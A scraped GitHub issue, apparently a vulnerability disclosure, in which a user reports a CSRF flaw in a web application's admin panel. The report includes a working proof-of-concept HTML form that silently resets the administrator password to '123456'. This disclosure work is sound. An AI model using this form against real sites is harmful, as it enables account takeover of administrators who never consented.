There is a CSRF vulnerability to change the administrator account password #1

boy-hack · 2018-07-16T09:24:50Z

After the administrator logged in, open the following page

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://127.0.0.1/admin/index.php?c=index&a=my" method="POST">
      <input type="hidden" name="data[password]" value="123456" />
      <input type="hidden" name="data[list_size]" value="10" />
      <input type="hidden" name="data[left_width]" value="150" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

The text was updated successfully, but these errors were encountered:

boy-hack changed the title ~~There is a CSRF vulnerability that can add the administrator account~~ There is a CSRF vulnerability to change the administrator account password Jul 16, 2018

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

There is a CSRF vulnerability to change the administrator account password #1

There is a CSRF vulnerability to change the administrator account password #1

boy-hack commented Jul 16, 2018 •

edited

Loading

There is a CSRF vulnerability to change the administrator account password #1

There is a CSRF vulnerability to change the administrator account password #1

Comments

boy-hack commented Jul 16, 2018 • edited Loading

boy-hack commented Jul 16, 2018 •

edited

Loading